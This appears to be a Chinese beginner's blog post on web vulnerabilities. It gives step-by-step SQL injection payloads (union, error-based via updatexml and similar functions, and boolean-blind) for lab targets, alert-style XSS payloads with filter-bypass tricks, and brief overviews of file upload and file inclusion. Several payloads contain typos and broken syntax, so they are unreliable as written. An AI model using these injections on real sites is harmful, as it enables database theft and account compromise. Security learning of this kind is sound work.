web小白入门基础漏洞认识一

web小白入门基础漏洞认识一(SQL注入,XSS注入)

SQL注入

SQL注入漏洞概述:对于客户端提交的数据,程序员在编写web程序时未对提交的参数进行严格的过滤或转义直接带入数据库就造成了用户可以构造参数,提交SQL查询语句,从而获得敏感信息或执行危险代码,这就是SQL注入攻击原理。

SQL注入流程

  1. 判断是否存在SQL注入漏洞(观察标志性特征如:id=1,并通过id传递一个值查看是否有回显)

  2. 判断闭合(分为数字型和字符型两种)
    字符型常见闭合符号:’ “ ‘) “) ‘))
    例如; 1’ and 1=1 # 正确 1’ and 1=2 # 报错 即可判断为单引号闭合
    注释符:#,--+ ,-- ,or ‘1’=’(这些是我在学习过程中遇到的)

  3. 使用order by n判断有多少字段(即列)如:order by 3 更换数字通过报错来确定有多少字段

  4. 通过 union select来确定注入的字段位置
    如:id=1d‘ union select 1,2,3 --+(注意:id的值一定是库中不会存在的值,如果是数字型的闭合则使用id=-1)

  5. 开始爆破获取数据库信息
    爆库:使用information_schema(schemata)
    爆表:使用information_schema(tables)
    爆字段名:information_schema(columns)
    爆类容:information_schema(内容对应字段名)

  6. 获得数据库账号密码等秘密类信息,提升权限获得shell,登录应用后台

SQL注入类型(不全)

  • 联合注入
    以union语句来联合前面select查询语句,合并查询更多信息
    爆库 union select group_concat(schema_name) from information_schema.schemata
    爆表 union select group_concat(table_name) from information_schema.tables where table_schema='名'
    爆字段 union select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
    爆内容 union select group_concat(字段一,字段二) from 库名.表名
    例如:http://127.0.0.1/sql/Less-1/?id=d1' union select 1,2, group_concat(user,password) from dvwa.users --+

  • 报错注入

通过报错获得我们想要的信息
报错的函数
updatexml: ?id=1" updatexml(1,concat(0x7a,(select schema_name from information_schema.schemata ),0x7a),1) --+
exp:id=1 and exp(~(select * from (select user0 ) a))
geometrycollection:id=1 and geometrycollection((select * from (select * from(select user0)a)b))
polygon:id=2 and polygon((select * from(select * from(select user0)a)b))
multilinestring:id=1 and multilinestring((select * from(select user0)a)b)
以updatexml为例的爆破至内容
爆库:?id=1" updatexml(1,concat(0x7a,(select schema_name from information_schema.schemata limit 0,1),0x7a),1) --+
爆表:?id=1" updatexml(1,concat(0x7a,(select table_name from information_schema.tables where table_schema="库名" limit 0,1),0x7a),1) --+
爆字段:?id=1" updatexml(1,concat(0x7a,(select column_name from information_schema.columns where table_schema="库名" and table_name="表名" limit 0,1),0x7a),1) --+
爆内容:?id=1" updatexml(1,concat(0x7a,(select 字段名 from 库名.表名 limit 0,1 ),0x7a),1) --+
报错注入的BUG报错(不是很熟悉)
爆表 Id=1 union Select concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1) as xx.count(1),3 from admin group by xx
爆内容 Id=1 union select concat(floor(rand(0)*2),(select concat(username,password) from admin limit 0,1)) as xx,count(1),3 from admin group bu xx

  • 布尔盲注

通过if判断语句来实现对数据库的爆破(if语句:第一个语句成立的话,执行第二个语句,否则执行第三个语句)
一开始可以使用if语句和sleep()延时函数来判断闭合(例如:id=1' and if(1=1,sleep(5),sleep(0))#
相关函数:
length()函数:返回字符串的长度
mid/substr(str,pos,num) :截取指定位置指定长度的字符串
判断当前库名长度:and if(length(database(0)=5,1,0) #
爆库 and if(mid(database(),1,1)='s',1,0) #
爆表 and if(mid(select table_name from information_schema.tables where table_schema="库名" limit 0,1),1,1)='s',1,0) #
爆字段 and if(mid(select column_name from information_schema.columns where table_schema="库名" and table_name="表名" limit 0,1),1,1)='s',1,0) #
爆内容 and if(mid(select 字段名 from 库名.表名 limit 0,1),1,1)='s',1,0) #
**温馨提示:**由于盲注步骤且效率过低建议与burp工具一起使用,对于简单的sql注入大家可以使用sqlmap工具跑哦,但是如果是新手还是老老实实的手工注入吧。另外SQL注入的种类还有很多像宽字节注入,堆叠注入,二次注入等等多种注入,大家有兴趣可以深入了解一下。

.

XSS攻击

XSS攻击概述:XXS(cross site script)为了避免与样式css混淆所以叫做XSS,是针对客户端的攻击不是服务端 。XSS的本质是恶意代码未经过滤,与网站正常代码混在一起,浏览器无法分辨哪些脚本是可信的,导致攻击者输入的恶意脚本被执行。从源头上讲,就是代码和数据被攻击混淆,导致浏览器将攻击者输入的数据解释为代码并执行从而达到攻击者的目的。

  • XSS的类型

反射型XSS:(相当于靶场攻击时,我们写的代码不会被保存在xss原有的代码中,而是输入什么弹出什么,任何有参数的地方我们都可以输入,靶场前面大多数是反射性xss)反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。

存储型XSS:(留言板之类的地方常有xss漏洞,如dvwa中的存储型,每一次点击那个页面都会弹框,直接存储在数据库内)存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS.

DOM型:(与反射型差不多,隐藏性较高,不常见)
不经过后端,DOM,全称是Document Model 是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容,结构以及样式。由此达到不跟服务器通信但是却能执行我们的攻击js代码,从而产生DOM型的XSS.

  • 我经常使用到的攻击代码
<script>alert(123)</script>
<script>confirm(123)</script>
<img src=1 onerror=alert(123)>
"οnclick="alert(123)
<a href="javascript :alert(xss)">123</a>
<iframe onload=alert(123)>
  • 变异的XSS

(网站对输入的攻击代码进行了过滤或者编码,我们需要绕过)
**编码绕过:**对传入的攻击代码进行编码如HEX编码等
例如:<script>alert('/xss')</script> ------ %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%2F%78%73%73%27%29%3C%2F%73%63%72%69%70%74%3E
**改变大小写及双向:**在测试过程中通过返回信息对部分语句进行大小写或双写绕过
例如:<script>alert("/xss")</script> ------ <sCRIpt>aleRT("/XSs")</sCRIPT>
**关闭标签:**我们可以使用一些特定的符号来关闭标签使我们的XSS生效
如:"><script>alert("/xss")</script>
**温馨提示:**其实后台对于我们攻击代码的过滤不仅仅这些,有兴趣的同志可以去查阅跟多资料哦。

文件上传

文件上传漏洞概述:文件上传本身没有问题,而且文件上传功能也是普遍存在的。但是由于程序员在编写web应用的时候没有限制用户上传的文件类型及内容,导致上传了一个错误程序文件(里面是一些可执行代码)但是没有被检测到,从而顺利将木马上传到服务端,导致非法用户获得webshell,执行一些非法操作(如:获取web应用数据,删除web文件,本地提权…),这种操作称之为文件上传漏洞。

文件包含

文件包含漏洞概述:其实文件包含就和编程中调用函数一样,只不过把函数换成了一个个的文件,可以通过包含操作来加载一些本地或远程上的文件,由于这个操作可以由用户提交的数据控制,从而导致攻击者控制恶意文件在服务器上执行,得到shell执行一些非法操作。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值